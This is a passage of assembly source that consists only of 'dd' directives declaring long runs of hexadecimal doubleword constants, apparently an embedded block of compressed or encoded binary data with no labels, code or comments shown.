		dd 20AAA413h, 604C1C0Dh, 8B610EC4h, 205D939Dh, 0FFF883C4h
		dd 0A0514D2h, 21B73881h, 2B53C241h, 18ED2044h, 24C3725Bh
		dd 70D45C89h, 0C3005343h, 933F8FF2h, 0CBCC130h,	19DD9D31h
		dd 8D2A0391h, 33A0B665h, 4BA10FC9h, 23C42BDh, 84A93F61h
		dd 59FC5179h, 243B20C0h, 0D0B5935Bh, 311106CBh,	730214E9h
		dd 395D2597h, 0F22A58C0h, 80F67700h, 0C58D8ABh,	403E047Eh
		dd 0C0D0FFB8h, 9C891D20h, 8E8A2262h, 6209071Eh,	9DA00AF9h
		dd 8B4BB5D0h, 8D2BC004h, 0ACC81CA1h, 751844A5h,	45120962h
		dd 1974201Ah, 38C45350h, 2293D8B8h, 115A2089h, 0CE9D8D06h
		dd 1566EBD7h, 22585BD3h, 20211788h, 30D4BDE2h, 720DD8BAh
		dd 7AF534ADh, 17A27F33h, 0E47DE530h, 416EC445h,	0B509020Ch
		dd 68ECA3BDh, 246B873Fh, 81400628h, 0A295B3E1h,	2786D69h
		dd 95D9C68h, 1F800EB7h,	5923E2E8h, 766D58C5h, 885FA24h
		dd 0B0A02EF1h, 0FB59C33Eh, 61ABE565h, 0E95F0D87h, 291787F3h
		dd 2F09D537h, 1252364Fh, 14234E3Bh, 92048613h, 68023155h
		dd 858C01FFh, 9412182h,	284E92Ah, 0E85F0A53h, 91C4C522h
		dd 9FBF4D11h, 673158D7h, 0B3631F69h, 59C55188h,	4C898104h
		dd 412EA9CEh, 0A72000BDh, 65871D82h, 0FDFD162Ch, 7E4D853Bh
		dd 58416061h, 0E2F3E87h, 0CB9C61h, 575E6B15h, 5138C841h
		dd 0BAB8100h, 0D45839Bh, 824D01FAh, 8A50613Bh, 78C266E8h
		dd 90B9D059h, 0ACD107CBh, 25B3319Bh, 81DC4D0Bh,	29A60492h
		dd 84C70F34h, 0BFCD2B4Dh, 0B5BDB200h, 20C09122h, 73A8881Ch
		dd 0A27D201h, 429D2A41h, 0F8BD234Bh, 39A22B98h,	0C5E96317h
		dd 50D963D2h, 0BE04F50Fh, 4ABA032Dh, 0F1016A16h, 46254D95h
		dd 8D0C0A76h, 951923BDh, 61336545h, 7A811E00h, 3706E99Ah
		dd 1881B4B8h, 0B25485Fh, 19798D16h, 1823B77Ah, 0CCA58439h
		dd 582946Eh, 0DF27200Fh, 0DC4879FDh, 896A0049h,	0AC3E32A9h
		dd 0F8CC12EAh, 47E3561h, 8BFB80F5h, 2D2272h, 3A37B960h
		dd 0B52318F8h, 0E99F559h, 2E78161h, 4C1A06B6h, 0BEF54A85h
		dd 0F879F040h, 7597E0B5h, 0E9591908h, 26FC1B0Ch, 0DBB9008Eh
		dd 5078660Ah, 0A94793B2h, 181AD19Ch, 92CE40Dh, 7369D3AEh
		dd 0C88B6730h, 292C5E93h, 0FB1D910Ah, 71478252h, 17D69B35h
		dd 21800F19h, 19D38BADh, 0CA94C8Ah, 0A4052F0h, 0F183221Dh
		dd 8DFFF6DCh, 49DEBF06h, 2BB62042h, 0C666807Eh,	6631853Ch
		dd 0C10AC01h, 7B08E830h, 0F75BA6h, 57FC4A36h, 8195035Fh
		dd 0AB201141h, 801CE685h, 557CEA80h, 48163F4Dh,	5AC805BDh
		dd 89C6B58Dh, 0D1379976h, 132F1818h, 4E3B23E4h,	0D0D231ADh
		dd 0EBD19D2Dh, 5E185689h, 8925C372h, 0E29674h, 6DC35646h
		dd 0E73E0FA2h, 627F690Bh, 22E60B51h, 4665BDFFh,	138D25C5h
		dd 2ED99CA2h, 3F38B00h,	1CA929BDh, 67974948h, 0A0801D11h
		dd 85B7BF75h, 50C4D203h
		dd 0C966F2A7h, 9B702A2Ch, 931F674Dh, 3D0D46D0h,	0DD6DA300h
		dd 4C964442h, 899706E7h, 86C8CA3Ch, 80CB7E95h, 81207C2h
		dd 6AAC59E9h, 0C0897D76h, 9A5F1CBh, 0D9B26276h,	0BCD9903Fh
		dd 0BF5B057h, 8A0F5FFEh, 0F0F12F98h, 6708B316h,	0F4BA0A30h
		dd 7E440DEAh, 20A8DA26h, 0E40D1B3h, 8FB0A050h, 18D8FAFFh
		dd 7253CB8Ah, 88A82D59h, 0FCE58903h, 0B0EB5043h, 2B4F2006h
		dd 5B4A86ECh, 1C239A2Fh, 2061220Eh, 12D040E6h, 333C0C2Bh
		dd 9FD71BDh, 5499853Ah,	0DD258DD3h, 9D50980Bh, 0B5B29C1Bh
		dd 23853B93h, 3C1C0017h, 35B902EFh, 459FDC14h, 31BA1E8Dh
		dd 0C4606A49h, 0DE2B0054h, 1F3710A5h, 0F068A907h, 0F40987Eh
		dd 0C550CFBFh, 422F959Eh, 2159BD57h, 0B32ADE08h, 8EEEBF3Bh
		dd 0B6863C3h, 0E5CE1118h, 258D2910h, 5309F7B2h,	0C439BD0Bh
		dd 1FE12721h, 2A0D66A2h, 1390C82h, 1CC78100h, 79D926A8h
		dd 88E8C57Dh, 2E078161h, 0F10A859Fh, 3CF64B60h,	61290209h
		dd 8F0FE49Eh, 5F936D71h, 13269767h, 0F128001Dh,	9B408D7h
		dd 0EB02FDB1h, 0CA30B62Ch, 0AE97464h, 0C793C984h, 0BB8E8081h
		dd 0B6035841h, 18408BC2h, 0DFC1060h, 8D53440Eh,	90490A00h
		dd 85B5179Ah, 363ECA8h,	69BEF85Ch, 4584860Fh, 8BC3615Fh
		dd 8E648C25h, 0C11B88BBh, 0F0EB35DFh, 0C02C7615h, 6459DE12h
		dd 8010E811h, 7FEE3B0Bh, 1D11511h, 7671FB26h, 0D4306304h
		dd 0E0B8341Dh, 5F800FF4h, 398C6F3Dh, 0D54B8325h, 23613ACFh
		dd 0B4020116h, 29950B9Bh, 2550728Ah, 68B18D2Fh,	0A5065612h
		dd 0B0851C81h, 0DEF002D7h, 983D1594h, 590348A4h, 0FA356D30h
		dd 76D4472Ch, 26C6D026h, 0F9B25CFh, 280687E9h, 9AB18949h
		dd 954148DCh, 0B1194D3Dh, 0B47C6ACh, 0B0BC6E1h,	0A6D68B86h
		dd 0C29C52Ch, 0A9470349h, 4CB74E0Dh, 80E92026h,	3FEDE224h
		dd 0C702C108h, 0A40E74F5h, 0D20BDBDh, 0A447F61Dh, 52C86492h
		dd 193C0901h, 5818505Bh, 8923C372h, 191144h, 0A4C35040h
		dd 135DC7F6h, 20E81813h, 927A495Bh, 5380C00h, 0B23FCECCh
		dd 0E95F1865h, 805223E8h, 14C5ABF8h, 9CC4F240h,	4871FD0Bh
		dd 9653C07Ch, 0C6EF4084h, 0AD291B3Bh, 0DDF9E259h, 0DD1E3FEAh
		dd 8C417221h, 73B621EDh, 3016A26Eh, 8D604503h, 6D9D29B6h
		dd 4DCA805h, 0DA39E102h, 4C0206BCh, 133A71F7h, 0D3A3400Fh
		dd 0A17C48B2h, 81295312h, 1708837Eh, 9B82E9AEh,	4BF81272h
		dd 0F599D42Bh, 0AEC4CA8Dh, 183EB231h, 0D364275Bh, 816602D7h
		dd 406051D9h, 619D2198h, 346A01EDh, 9BF13895h, 161C502Ch
		dd 0C2AD344Bh, 0F5AAC501h, 84AA3059h, 66800168h, 0F6DB0B8Ch
		dd 8C6304C3h, 0FEC61926h, 56012610h, 0A8B85268h, 695E9B9Ch
		dd 0BC781319h, 6A14213Ah, 108B6004h, 7D64BB83h,	0BEBEC881h
		dd 47012DA1h, 18AC9B68h, 43923CF6h, 0E1EF052h, 0CF61684Fh
		dd 7D10702Fh, 340CE534h, 18537DBAh, 1856286Ah, 7553C085h
		dd 68410175h, 0DB876498h, 0D0642A5Ah, 1C4C2CD7h, 95E7A468h
		dd 8BA02080h, 0F18BBE9Dh, 0E274045Bh, 8554ABC3h, 64C71562h
		dd 43D8E1F0h, 41B6960Ch, 3D21099Dh, 12C11132h, 0B4026A8Ah
		dd 0B5343253h, 17889192h, 6845506Dh, 0A5F79708h, 16A13892h
		dd 0D50267CCh, 75852E0Ch, 0C0663632h, 0A94EA1D1h, 0A1620C19h
		dd 154C3469h, 5A97BD4Ah, 1991656Fh, 5E235C04h, 400DC988h
		dd 0F80A5030h, 4E35FF64h, 79B50905h, 89F59CB1h,	0FB33D165h
		dd 0B93018E2h, 0C9CB0043h, 0FAB70FC0h, 0CE4C8B66h, 2EB5179Dh
		dd 84565533h, 0B3C059DEh, 49AFF823h, 5EDB4331h,	0D2041B69h
		dd 7292759h, 0E8BB35B9h, 81258D94h, 2FD7D880h, 7DA545B4h
		dd 94B9F5A0h, 3898F6CDh, 8023994Ch, 33DE60BAh, 8D8B3EDBh
		dd 0C00947EFh, 1C11E49Dh, 0E802D680h, 73095EEFh, 51824AB4h
		dd 68C000A3h, 3AF970EAh, 0B3A6CB03h, 0C07D91F5h, 0E47E178Dh
		dd 3F0F0240h, 8F640B07h, 7E9F80C4h, 714921C5h, 50C1819h
		dd 0C437CF6Bh, 0D934C127h, 0FB830115h, 44842C70h, 0CA008117h
		dd 39022C6Ch, 0AB29BD2Bh, 0E6F792B0h, 0DF134B1h, 6D15C917h
		dd 0C02B86Ch, 8B65A709h, 0C7190CBEh, 0FF23A481h, 9983039Eh
		dd 400415B8h, 5C8BC3CBh, 702E30D4h, 24815D88h, 8A8C45EDh
		dd 281B838Bh, 44FA4298h, 4FD05D0Ch, 2F511089h, 888F0F13h
		dd 0BB0ED771h, 0C067B3F3h, 0C5970BE1h, 8D0F2871h, 0E18CEC12h
		dd 2A3B3452h, 1C46747Dh, 0B6B44F00h, 0DA5B6BA8h, 50E88702h
		dd 4EA2D280h, 0D154A0ECh, 63EC9123h, 0B000AB9h,	55D704B8h
		dd 640548h, 0BB0DF781h,	8685D465h, 0B640BA0Ch, 33EAE634h
		dd 0ED0C5FE8h, 5868FBB8h, 75564D09h, 15C9820Ah,	54010416h
		dd 0F78AE14Ch, 0FC785D71h, 54276980h, 3D00F443h, 8CC93F05h
		dd 1EAD262Bh, 5ABEF1Bh,	0CF768860h, 43DC4E7h, 820F521h
		dd 0E4D84235h, 46D62038h, 756D48D4h, 0A12595E4h, 8A492E19h
		dd 47B78347h, 392E3101h, 0B7C230CDh, 78450001h,	74706563h
		dd 6E6F6907h, 66374920h, 616D7261h, 50010C47h, 73E5656Ch
		dd 40202CCCh, 0D7F37463h, 68AF8E9Fh, 1F731FBFh,	59771F66h
		dd 0F1641272h, 0F56CF976h, 73DBE770h, 0A26977D9h, 76CD1D34h
		dd 1C8D266Ch, 8E67676Eh, 0EB2E7340h, 0AF5F8F54h, 0AF79AF6Bh
		dd 0D0A6675h, 14CFF04h,	80706628h, 43076E73h, 2B4C5254h
		dd 28EBFB5Fh, 0F2466978h, 187ADB64h, 702A7BA6h,	6C3C0879h
		dd 0E262BF69h, 882964DAh, 561A4236h, 0FBA613DFh, 0CE25FB3Dh
		dd 0E843601Eh, 4E496B63h, 1C640FA9h, 5455234Fh,	6F725087h
		dd 0F211DFAh, 0F193B6Dh, 0B61AF304h, 850F1C3Dh,	50A8BC1Eh
		dd 1E18D18Eh, 0BD0BC2D4h, 0F4C6077Dh, 4A200141h, 6ED248EDh
		dd 570E5032h, 0C0A4EA12h, 0F9FD95F8h, 5F7C21F2h, 861942ECh
		dd 7613078Bh, 246B1628h, 65D668B0h, 1DCA685Fh, 8A5125E9h
		dd 597D230Eh, 0CA230E96h, 230E9E59h, 0E9A59E8h,	8E59D123h
		dd 59D9230Eh, 0E0210E92h, 0BD0C3052h, 0A2F2832Ch, 6DF4FC64h
		dd 0CA3A1148h, 69880D95h, 1185421Bh, 5A80229h, 0C2810109h
		dd 7C8065F8h, 958D8573h, 521807E2h, 0C3402834h,	0D53BD42Ch
		dd 0EB1A7509h, 400C44E5h, 9D8B8855h, 4CC313A8h,	65291CBCh
		dd 501011A3h, 54798A88h, 90879608h, 799A8858h, 8A8E085Ch
		dd 0DFADC94h, 6811AFADh, 5A49CD41h, 0C8920C90h,	329A648Eh
		dd 0C8A1996h, 0A848A86h, 0B81C9880h, 491007A4h,	650E903h
		dd 0D50A60D5h, 406A24C4h, 19A224CAh, 0BCE45B5Ah, 73980125h
		dd 603AC18Bh, 17C02FFCh, 811B91EBh, 0B03349BFh,	12D0D860h
		dd 0E2810FB7h, 20B90B04h, 90339F45h, 1ADAD30Eh,	2E040EC4h
		dd 8740BA4Bh, 431125E3h, 9D884A23h, 6F1C3E31h, 6B1A8822h
		dd 49100EAh, 47CFFB84h,	190395FEh, 592DEC9Eh, 0A83A9561h
		dd 0E6001923h, 6ABF6A0h, 6088A111h, 406C54C6h, 994A9509h
		dd 0E381574Fh, 0CF7861F8h, 0E6FAF80h, 1C1D9152h, 0E88025BEh
		dd 0C4977CCBh, 61F40E07h, 8A734B83h, 0F22D221Ah, 0A826A006h
		dd 7DA70FAh, 99C1815Ch,	0E9224082h, 7C97020Dh, 79486039h
		dd 7D00E471h, 0ACEA812Eh, 4F537E6Fh, 34BC05Eh, 0DF028C07h
		dd 0FC28B60h, 4017D482h, 66616BD2h, 4C7F712h, 1DCC444h
		dd 0DE815600h, 0A217F418h, 0CB9C5E0Ch, 80384485h, 6455D525h
		dd 9ABB0014h, 1850440h,	4E01D345h, 0EAF50205h, 59EAADE9h
		dd 1814D99Bh, 0F9F80B74h
		dd 9064FF2Bh, 0D4A7C20Fh, 3404921Dh, 0C68665C7h, 9548805Ch
		dd 96091C53h, 371AC07Fh, 7ED77729h, 1260E8E4h, 752B1125h
		dd 0B7EC00C8h, 0C429D2A8h, 4C0094A1h, 3214E11Dh, 0E25A59FBh
		dd 0CB8B1C93h, 0BE767C50h, 26994049h, 0C03E75B3h, 0F78D805Bh
		dd 0A71312A8h, 0E5B7001Fh, 0D0063FB9h, 0B1255E7Ah, 0CA6CB31Ch
		dd 1685BC6h, 0B34EBE66h, 506DE9h, 9B8ACE71h, 18696A60h
		dd 26C48B64h, 0CD1C9AB7h, 0F801EB01h, 5ACC8A57h, 0B693562Dh
		dd 80F4E069h, 8A0F2539h, 81027AB2h, 5F43C00Bh, 0FBBA40C4h
		dd 48477E07h, 6EC06561h, 0FC3159E7h, 0E5806401h, 15BD8DDBh
		dd 85D154F2h, 0AC01B8CEh, 0FFFA8260h, 0AC46E7h,	6F55F49Bh
		dd 53575014h, 0AB007379h, 0D7A5EF35h, 7DB8441Ch, 138D9C7Fh
		dd 0F808C10h, 140B604h,	0B008C8FEh, 212D4BAh, 87135F4Eh
		dd 15C8318Bh, 0C362CACFh, 8265C209h, 7B86DDBAh,	0A856720Ah
		dd 0D5835DA9h, 0D8863ECCh, 92915B9h, 0DA2A9865h, 644F9D0h
		dd 3CF20181h, 5A7D3283h, 88644B61h, 0C046C414h,	39FCB979h
		dd 1CB3A87Ah, 594F5BDAh, 0F6D20B0Eh, 17CB3C56h,	0E1CBF3B7h
		dd 96C016C8h, 9956339Eh, 17458003h, 9B2993C6h, 8BBFD900h
		dd 2831ED8Ch, 743E134Ah, 90DC133Fh, 562FB634h, 30016E7Dh
		dd 31FDE7C2h, 89445A5Eh, 0EBF0A3B5h, 7E8C9C18h,	0E70BE932h
		dd 8C6C4B60h, 3D10F8F7h, 0C2611467h, 0E6E9169Eh, 20601C83h
		dd 0F6420814h, 864F19ADh, 0F8E9C324h, 0B58B1821h, 0E6818F75h
		dd 18D6F0E0h, 0E82C9BE2h, 0C68142B4h, 3B1836FAh, 0F3979B5h
		dd 51E96E86h, 97D820C7h, 6FCF3622h, 8C665001h, 0A0324C8h
		dd 2A073D35h, 2F6457EBh, 20858B25h, 0A18863Eh, 8257B0DBh
		dd 3D238E67h, 0C624048Ch, 70D78ACFh, 0D2085C2Ch, 50237D10h
		dd 9C9001B5h, 0B5FFE48h, 48531CC0h, 0F68966C3h,	209C5FCh
		dd 953725Bh, 820E4CBAh,	0E0424314h, 5360BB22h, 0E380CBEFh
		dd 84C3CB03h, 7617B812h, 8189C79Dh, 1B5DFB0Ch, 98A2E644h
		dd 5789C591h, 8E18C706h, 33743452h, 0BD290123h,	0A391A25Bh
		dd 3E80600Bh, 40316BA4h, 3AB7A1BBh, 1B01C76h, 60EEA6B1h
		dd 2C88AACh, 332C339h, 0BAACBD1h, 14022D2h, 0C90A4A19h
		dd 2316E5D6h, 11D4DDF0h, 8B520B10h, 7A0302D4h, 0E9E86108h
		dd 80AA2140h, 8D58E13Fh, 0BC5A545Fh, 56513753h,	0E9DB2132h
		dd 0A04E4710h, 81D3D1D8h, 5ABCC306h, 0F3B03746h, 0C80B49E8h
		dd 8B81E897h, 5B595EC3h, 7B4D60D1h, 0AC8C836Ch,	77AD2AEAh
		dd 0E723C010h, 0FD4DF90h, 4A8D80Ch, 0D4A6293Ch,	5AA81A48h
		dd 60605925h, 0CE1E858Fh, 16CA8D21h, 22BD1F06h,	0E938890Dh
		dd 312F3F23h, 0F8408B26h, 0F30A1705h, 21899B46h, 3C671448h
		dd 1EB246FAh, 92308F33h, 8726AE27h, 41DF8A69h, 4D207276h
		dd 0B80C027Ah, 0A945CAB2h, 6395F4Ch, 0C8D10030h, 0FF73B46h
		dd 8DF15282h, 0A508EA40h, 284CEC28h, 56C128A5h,	13215351h
		dd 0C4A2C01h, 3C146726h, 0A22C92Dh, 34980400h, 0C1D83213h
		dd 1C0848C3h, 1C506757h, 5E59285Bh, 0A6988037h,	0E1278469h
		dd 0CE72A517h, 50FD0C4Fh, 0A86FF688h, 44E8142Ch, 0FFBF6D0Fh
		dd 618FD4C0h, 644C0684h, 2E9DCFCFh, 8DE0E032h, 0FC339018h
		dd 60592CADh, 0CB1763h,	61A6B36Fh, 0EEE9C181h, 0F8E6E569h
		dd 342922CCh, 0F05D0BFh, 61F038Ah, 1C8BF702h, 10DCC139h
		dd 5E3D4014h, 6A35DCC4h, 0F859EC02h, 4012B395h,	0F63C90B8h
		dd 0AFA60Dh, 0D8C9D30Eh, 0ADA8F896h, 0B8315D00h, 8D51ECA2h
		dd 0BFA6007Fh, 92F381BEh, 757FE97Bh, 0E333C678h, 0C8DA5260h
		dd 0CC8961DDh, 0D1DCF890h, 2EF8318h, 71A354E2h,	0B10F7C4Fh
		dd 0E252162Dh, 15C4003Eh, 58C2F396h, 46F407B6h,	37C7BC73h
		dd 0BD45B0EFh, 810B5EBEh, 259A58FFh, 1F1F8564h,	0AEE6C200h
		dd 61E96F8Eh, 0D5951736h, 0E393C0F7h, 810FE70Eh, 0C981614h
		dd 0E8110008h, 693B5CD4h, 0AE009E4Bh, 8E6A9FCDh, 924CE915h
		dd 1FA17124h, 405E748Fh, 8169C1C7h, 0CB009293h,	0F3DD5ABEh
		dd 28DE61ABh, 3004B524h, 7E116278h, 6000A65Ah, 2AB74892h
		dd 7798EA47h, 0A18D00DAh, 3791C678h, 0F03E154Ah, 93C503ACh
		dd 78CE602Ch, 8ECF0040h, 0ADE21A31h, 6E6EFE2Fh,	0D120E328h
		dd 24400593h, 0CAE5A6h,	5EB47238h, 0B1603534h, 0A3CB8520h
		dd 0B52703DAh, 0C07A44F6h, 4F140BC0h, 2A57D800h, 82C99C6Bh
		dd 7FD7072Bh, 0E058D073h, 0F1FA56B9h, 0ADF42F00h, 122B8ECDh
		dd 79328C8h, 51F76044h,	62A94F03h, 0EEC331DCh, 3B77938h
		dd 727AD80h, 0D8AB0DC0h, 0F6AC1820h, 0D2F92Fh, 8F5D4897h
		dd 4D5B80h, 0C0B585A9h,	8E8D1461h, 0CC3394A4h, 785E309Fh
		dd 0D2533006h, 5148DC0Ah, 707D4E37h, 3A1967C6h,	0AE14DD7Ah
		dd 0CC08CC57h, 0F906C489h, 7E870EBh, 8CA5ACE5h,	0F8820DEh
		dd 0CC002FF2h, 0B521CADDh, 0C876E4F8h, 0F6427829h, 27F92410h
		dd 84487494h, 12B03680h, 1FB5E08h, 47C398C7h, 0F8D6705Ah
		dd 0A70EF533h, 40B6C1E2h, 8BB54C20h, 3FAAF6EAh,	4680B4B1h
		dd 97A947FDh, 98001064h, 27D9CBFBh, 904C6Eh, 79C7253Eh
		dd 0C53481A4h, 8009CF00h, 0E9A20C84h, 0B2510060h, 0D8B99495h
		dd 1A06CBA3h, 0F4F804FDh, 27441030h, 0E8A0003Ah, 5BD1609Bh
		dd 0B35700FBh, 0C73598FAh, 1F002A12h, 0E373D4E5h, 9DE706h
		dd 8C4B2663h, 4096ECA4h, 10E16100h, 6C45084Ah, 9D59004Fh
		dd 4BFEF72Ah, 7E02C2E6h, 6D7CD9CDh, 0C550480Dh,	6C090732h
		dd 103A857Dh, 0C4A1DB73h, 0D6922307h, 18D0948Dh, 0A4651Ch
		dd 75A70E52h, 4C390F20h, 0A84A52h, 5A9EC9F9h, 75286Dh
		dd 1F39455Dh, 3E1B99A5h, 0E6A6DE0Ah, 0C48084A1h, 0EF25A12h
		dd 0E4630003h, 72E3BDAh, 0C0C01CA1h, 28F370C7h,	0C4E00009h
		dd 0FF468F7h, 3400D1C2h, 3CCA0639h, 0C70B21h, 0DFE21E4Bh
		dd 1A273632h, 69006E7Dh, 781CBA54h, 287A6615h, 7AC7322h
		dd 0C065F29Ch, 48B88079h, 0E6003BA0h, 276B5628h, 0EC723D4Fh
		dd 2A510061h, 0AAF08A26h, 0E576845Fh, 24B9E326h, 0C1734300h
		dd 541E16F3h, 53F04Ch, 9A2E86B6h, 0F43183A8h, 8FED6D0Fh
		dd 2F13815h, 8470EEh, 0D16296ABh, 0D70D3803h, 0EA8ED20Fh
		dd 884A002Eh, 1FD0A3Dh,	1F335A27h, 0E0AE2D9Fh, 0C200D716h
		dd 0CC430F75h, 96FE5Ch,	89AAE692h, 0DC9CCE5Bh, 0DD9D0700h
		dd 0B9F63A43h, 84050E0Eh, 9020BBE6h, 8924DF4h, 409EA300h
		dd 7A35670Fh, 2298C087h, 7B95090Eh, 60B4C8CFh, 19A7D362h
		dd 0AF5B00F6h, 0CA31F8C3h, 2C00B0A5h, 5C94B792h, 65D8665h
		dd 97AF29E2h, 8300A855h, 1B3B3DFAh, 3863A009h, 54808692h
		dd 0C2AE8CDh, 0CF007860h, 657DB8D3h, 0E21B3Ch, 0C238D153h
		dd 0BA3E59FDh, 0DFA6B0A0h, 0CEB7C400h, 0F384782Ah, 204A006Eh
		dd 0E4E5AF46h, 0B2071357h, 5D50D1A6h, 0CFC09B94h, 7464017Ah
		dd 394D0085h, 0BF74C838h, 9B12CBE8h, 0D00026A9h, 5234B1C0h
		dd 0B0A67C15h, 768802B7h, 7038184Ah, 0FEFBB0C0h, 91BC6900h
		dd 4F0BDB66h, 0F24FAC6h, 18FAA472h, 0D27CDEC0h,	400A21Ch
		dd 32AE2C3Dh, 0AD7DC1Bh, 62FA6E2Eh, 291E01A4h, 20F60FF0h
		dd 1F0059ECh, 0CE5EED8h, 0F56CEF4h, 0FD481425h,	331CE923h
		dd 7D9B57D0h, 4EED31C0h, 731F4420h, 0A029778Ch,	182817B0h
		dd 11164C65h, 3401212Eh, 0D4714219h, 0B0D40A92h, 0BCA2004Dh
		dd 8A51E7FAh, 0AD7FBE96h
		dd 1147AF00h, 0A78D7D89h, 0BC624C33h, 0E5D81A00h, 9918D269h
		dd 8BA0BC00h, 3278F15Dh, 0C4800B0Dh, 0C000BAFEh, 0DCC02D40h
		dd 0B2DF2600h, 2EA4DA92h, 7C61003Fh, 8B4FFFE7h,	72EA575Bh
		dd 0C78C7400h, 8F3D4E49h, 136800EEh, 50E839DEh,	0D4002819h
		dd 2E55BF6Eh, 0BDC577h,	0CBF54D12h, 0A5A2274Ah,	3700567Fh
		dd 39F93AFFh, 0C15E3F53h, 0B1E5DDF0h, 0D040DEF7h, 0CC988488h
		dd 0D69C1700h, 671AD828h, 704A1850h, 83FE1CEh, 3E630200h
		dd 7C534277h, 17A600BAh, 4FB6F050h, 850DB8Fh, 113F03D8h
		dd 5CE780BBh, 99338DEDh, 67E201B3h, 0B9491223h,	815AFCBFh
		dd 0C7FA7700h, 51E394F7h, 4D7F28h, 0E53FFBABh, 69F03DF5h
		dd 0A8C08201h, 0DDDC581Fh, 0ADC173FDh, 0BA17FFE4h, 39647544h
		dd 0F1017DC4h, 92C71A35h, 1266D025h, 55A7021Dh,	0BDCC741Ch
		dd 0FA9530DCh, 4C1D0119h, 2E98AB6h, 6148640Bh, 973D2600h
		dd 550C68ADh, 1C278D4h,	0E7D06657h, 227AFC28h, 92EC77A8h
		dd 5B3D4A04h, 0D0C05E45h, 0A9754Fh, 4BBDA8E0h, 0EFADC27Ah
		dd 918D3C1Eh, 0F8314D41h, 6422A40Fh, 20F2E412h,	27E2C1C8h
		dd 0A772F700h, 4362217Ah, 0B2450037h, 0CD3D38F8h, 0C8040503h
		dd 0E61632C2h, 1A3A5C81h, 9C3441D9h, 7B440790h,	0AF2F0AABh
		dd 5FD312D2h, 40401D98h, 34308B7Fh, 0D98848Eh, 0DA322303h
		dd 6464599h, 0EBBC7829h, 0D313519Ah, 1D004957h,	0F88183BDh
		dd 7AF0005Ch, 9AB289A7h, 0E006D93h, 83107D11h, 95B4484h
		dd 3B50EABBh, 0CEF64C80h, 0FEF02808h, 4900FF98h, 13C0A638h
		dd 4F78DD9h, 0C4596AC8h, 0A053C7C2h, 0D7D5B130h, 2B03100h
		dd 4A8B52F0h, 0F6FEF8FBh, 0CFFEEAh, 7E238C7Ah, 66D34EDAh
		dd 4974DF1Fh, 956C0680h, 7A3EF5h, 0A52F8D07h, 490A79Ah
		dd 9575F00h, 7736FF69h,	0C75000F1h, 3255ACC5h, 0A904813Fh
		dd 60205BC9h, 142E2880h, 0E58D28CAh, 1844E0DCh,	0EA15417Fh
		dd 0E90764F1h, 9AE29F22h, 0C8A43960h, 0EEFB000Ah, 0F2D0CE6Eh
		dd 18008529h, 9733DBC3h, 480B827Fh, 0EB0BE479h,	78002A7Dh
		dd 0E889B5FDh, 0F8CCE507h, 82F0AE2Bh, 15675C5h,	38C6122Fh
		dd 0C0D14107h, 933CF4A4h, 0EF630FA1h, 3B7680ADh, 5367F27h
		dd 0E851DC79h, 0A7E481ECh, 99028CDh, 2078C7F1h,	64718334h
		dd 6B3E24D7h, 3AD98E98h, 9E4979D8h, 0CAF70428h,	0D3FBF400h
		dd 14DC6F75h, 0BDC21F3Bh, 77DE81ECh, 815BCF23h,	0DD575441h
		dd 1424780Ch, 0E6600039h, 0DF3D1BB0h, 253B22A5h, 1A2D00D7h
		dd 892C3CE8h, 483571EFh, 0FB005C1Ch, 0FC4BB902h, 4577BF98h
		dd 69381898h, 67CD84F6h, 0B4C28DFFh, 3F85256h, 0D6B80C47h
		dd 0D8B948C9h, 0D14DD199h, 3E20BCA7h, 65F3ED1h,	63EEA5E3h
		dd 0EBE01BA9h, 0AFC04028h, 821D4588h, 8E00A0ADh, 7A1D29BCh
		dd 928F6EA6h, 5D303E63h, 92BD9990h, 28932A16h, 49108901h
		dd 35F832C8h, 99400A4Fh, 62C09E0h, 7074478Ch, 0AA5C2C03h
		dd 7597997h, 9453429h, 0C9C9A63Bh, 0B8E95D1Ah, 3C348038h
		dd 0C53180AAh, 842C5438h, 292C0512h, 641408B9h,	0C44ECB1Fh
		dd 0B1C56321h, 6EC0E816h, 0B879E09Bh, 487997h, 1325BCCBh
		dd 0A4BA2FF2h, 2AD54E3Dh, 1008832h, 4598784Fh, 0E807EC7h
		dd 8D4861DAh, 0FAA5F380h, 28C0DD87h, 0AF564EF7h, 0ED130F6Eh
		dd 178E8B39h, 4A49668Ch, 0A6106005h, 0D020B8EEh, 7CDA8BF2h
		dd 1A320087h, 3CF433BAh, 4000ADD6h, 0FA85C244h,	0E8ABDE57h
		dd 2517EE37h, 0D883B138h, 804F07Bh, 0C0661F61h,	93F33481h
		dd 4D03839h, 543078F8h,	8DE51029h, 74D8A8B7h, 86C9615h
		dd 22BFC55Dh, 83ABEC79h, 0BF05FF91h, 0B1114229h, 0AC04107Fh
		dd 952FB607h, 497A5087h, 0C8004319h, 5F56EFDCh,	9A2774B5h
		dd 0A14100E4h, 6A0B34CDh, 313F2E77h, 7DC78035h,	0E41827C8h
		dd 7C19048Fh, 0C0325A4Bh, 0A4C110DDh, 0FA00CFF2h, 0BEA930EAh
		dd 1FC6D2A3h, 7DF69417h, 4805980h, 0B6402123h, 35BA570Eh
		dd 84970AB9h, 12FD6981h, 8987FF3Dh, 0F48AE408h,	0FA10CC09h
		dd 39032F01h, 80C25522h, 1B6662E4h, 20973C3Dh, 44BD5BE0h
		dd 2D338B03h, 8925573Fh, 0B4528818h, 0E80CE007h, 0E95F046Eh
		dd 0D0034010h, 456830Ch, 0A7CD5E06h, 74718577h,	9E520CD4h
		dd 195032CCh, 0DA715E02h, 607880D5h, 0F85A5094h, 895F00C5h
		dd 569E6F9Ah, 1902E876h, 0EAB2022Ah, 0D158C09Bh, 0B9C10CE4h
		dd 0C311CBEFh, 3968C007h, 80AB795Dh, 48E321C4h,	76CC0089h
		dd 97FC47E7h, 0C71677BFh, 0ED0E5722h, 0B481C01Bh, 0C012702Ah
		dd 61DD6E9Ch, 400013A9h, 0B218C6A0h, 75641F25h,	0D47C0051h
		dd 22768C12h, 4A076287h, 2D10C8B9h, 808EABC0h, 0B77300CFh
		dd 0CC574BA9h, 9A039EE7h, 11BEE20Fh, 0EF86C8AAh, 0E9E6008Ah
		dd 0BD452E6Dh, 0AC00B5FAh, 91DA5B7Bh, 5F3B38Fh,	718E5DA2h
		dd 7AB400B4h, 649FAC3Ch, 0A046CD00h, 5F5B31C3h,	0DD040005h
		dd 0D67DB575h, 0F90093C0h, 0B2CE8B3Ah, 7433381h, 38C5ED7Ah
		dd 48E1925Ah, 12170C58h, 0D309E8D4h, 0F650016h,	444E6Bh
		dd 0D908C332h, 0AA95FE83h, 683CB51Eh, 21C6AF00h, 60D577h
		dd 25417E91h, 0EB88B444h, 0AFDFC304h, 5C8130ADh, 7CCC92ACh
